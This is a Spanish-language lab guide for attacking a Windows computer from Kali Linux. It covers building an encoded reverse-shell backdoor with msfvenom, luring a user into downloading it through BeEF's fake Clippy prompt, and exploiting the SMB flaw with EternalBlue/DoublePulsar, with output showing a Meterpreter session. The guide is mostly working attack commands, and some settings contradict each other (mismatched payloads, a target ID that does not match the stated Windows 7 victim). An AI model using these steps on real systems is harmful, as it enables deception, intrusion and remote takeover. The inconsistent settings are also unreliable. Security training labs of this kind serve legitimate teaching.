Laboratorio

Actividad: Realizar un ataque de ingeniería social por medio de *phishing.*

En esta actividad se debe realizar un ataque de Ingeniería social usando la técnica de phishing, con la distribución de *Kali Linux,* desde una máquina virtual a un ordenador con Windows. El primer ataque se realizará instalando un Backdoor que permite tomar control remotamente de la máquina, este tipo de ataque lo llamaremos ataque activo de ingeniería social, el segundo ataque consiste en aprovechar la vulnerabilidad publicada en el año 2017 del protocolo SMB en los sistemas Windows, a este segundo ataque lo llamaremos ataque pasivo de Ingeniería social, en ambos ataques utilizaremos las herramientas BeeF y Metasploit.

Ataque activo de ingeniería social

1. Como crear un Bakdoor

Archivo ejecutable que abre una puerta trasera con metaesploit

Pasos:
root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=IP_atacante
LPORT=444 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/su_programa.exe
Ingresamos a la ruta /tmp/ para encontrar nuestro ejecutable
2. ubicamos nuestro ejecutable en /var/www/html, no olvidar iniciar apache

3. ejecución del ataque con metaesploit
pasos:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST IP_atacante
msf exploit(handler) > set LPORT 444

por ultimo corremos el ataque
msf exploit(handler) > exploit

Ahora sol toca esperar que alguno caiga en la trampa

4. engañamos al usuario por medio de ingeniería social, para ello usamos Beef la opción de clippy
Pasos:
vamos a la opción Social Engineering y escogemos clippy.
realizamos la configuración.
en la opción Executable colocamos ejemplo: http://IP_atacante/su_programa.exe

Ataque pasivo de ingeniería social

Explotar la vulnerabilidad SMB

Usemos el exploit

Las opciones que se deben configurar son:

RHOST = dirección ip de la victima

PROCESSINJECT = cambiar por el valor *lsass.exe*

Target = cambiar por el sistema operativo de la víctima, en este caso es un Windows 7

```
msf exploit(eternalblue_doublepulsar) > show options

Module options (exploit/windows/smb/eternalblue_doublepulsar):

   Name                Current Setting                                  Required  Description
   ----                ---------------                                  --------  -----------
   DOUBLEPULSARPATH    /root/Eternalblue-Doublepulsar-Metasploit/deps/  yes       Path directory of Doublepulsar
   ETERNALBLUEPATH     /root/Eternalblue-Doublepulsar-Metasploit/deps/  yes       Path directory of Eternalblue
   PROCESSINJECT       wlms.exe                                         yes       Name of process to inject into
 (Change to lsass.exe for x64)
   RHOST                                                                yes       The target address
   RPORT               445                                              yes       The SMB service port (TCP)
   TARGETARCHITECTURE  x86                                              yes       Target Architecture (Accepted:
 x86, x64)
   WINEPATH            /root/.wine/drive_c/                             yes       WINE drive_c path


Exploit target:

   Id  Name
   --  ----
   8   Windows 7 (all services pack) (x86) (x64)
```

Cambiando el target

```
msf exploit(eternalblue_doublepulsar) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP (all services pack) (x86) (x64)
   1   Windows Server 2003 SP0 (x86)
   2   Windows Server 2003 SP1/SP2 (x86)
   3   Windows Server 2003 (x64)
   4   Windows Vista (x86)
   5   Windows Vista (x64)
   6   Windows Server 2008 (x86)
   7   Windows Server 2008 R2 (x86) (x64)
   8   Windows 7 (all services pack) (x86) (x64)
```

```
msf exploit(eternalblue_doublepulsar) > set target 7
target => 7
msf exploit(eternalblue_doublepulsar) >
```

Cambiando PROCESSINJECT

```
msf exploit(eternalblue_doublepulsar) > set processinject lsass.exe
processinject => lsass.exe
msf exploit(eternalblue_doublepulsar) >
```

Configurando TARGETARCHITECTURA

```
msf exploit(eternalblue_doublepulsar) > set targetarchitecture x64
targetarchitecture => x64
msf exploit(eternalblue_doublepulsar) >
```

Seleccionar el payload

```
msf exploit(eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reve
rse_tcp
```

Por último se configura el LHSOT y se envía el ataque

```
msf exploit(eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.0.19:4444
[*] 192.168.0.17:445 - Generating Eternalblue XML data
[*] 192.168.0.17:445 - Generating Doublepulsar XML data
[*] 192.168.0.17:445 - Generating payload DLL for Doublepulsar
[*] 192.168.0.17:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.0.17:445 - Launching Eternalblue...
[+] 192.168.0.17:445 - Pwned! Eternalblue success!
[*] 192.168.0.17:445 - Launching Doublepulsar...
[*] Sending stage (1189423 bytes) to 192.168.0.17
[+] 192.168.0.17:445 - Remote code executed... 3... 2... 1...
[*] Meterpreter session 1 opened (192.168.0.19:4444 -> 192.168.0.17:49176) at 20
17-10-12 14:05:31 -0500

meterpreter >
```